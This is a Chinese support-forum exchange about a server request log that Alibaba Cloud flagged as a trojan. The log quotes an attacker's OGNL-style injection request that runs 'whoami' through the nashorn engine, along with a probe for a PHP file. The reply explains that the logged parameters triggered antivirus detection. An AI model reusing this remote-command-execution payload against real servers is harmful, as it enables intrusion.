【已解答】服务日志被阿里云定义为木马问文件

请问这个文件内容是否是正常的日志输出文件名：/www/server/panel/logs/request/2023-02-10.json
阿里云识别木马的内容：（标红的部分是定义为木马的内容）
["2023-02-10 14:31:59", "47.100.226.217:58096", "GET", "/${Class.forName(\"com.opensymphony.webwork.ServletActionContext\").getMethod(\"getResponse\",null).invoke(null,null).setHeader(\"X-Cmd-Response\",Class.forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"nashorn\").eval(\"var d='';var i = java.lang.Runtime.getRuntime().exec('whoami').getInputStream(); while(i.available())d+=String.fromCharCode(i.read());d\"))}/?", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36", "{}", 1, 200, 546, "text/html; charset=utf-8", "115.28.232.249:7777", "None"]

5

["2023-02-10 14:31:59", "47.100.226.217:59876", "GET", "/includes/mysql2i/mysql2i.func.php?", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/37.36", "{}", 2, 302, 199, "text/html; charset=utf-8", "115.28.232.249:7777", "None"]

您好，是因为日志中记录了参数，然后查看的时候火绒识别到了这条日志，就拦截了。可以点击误报，或者清理下日志就可以了。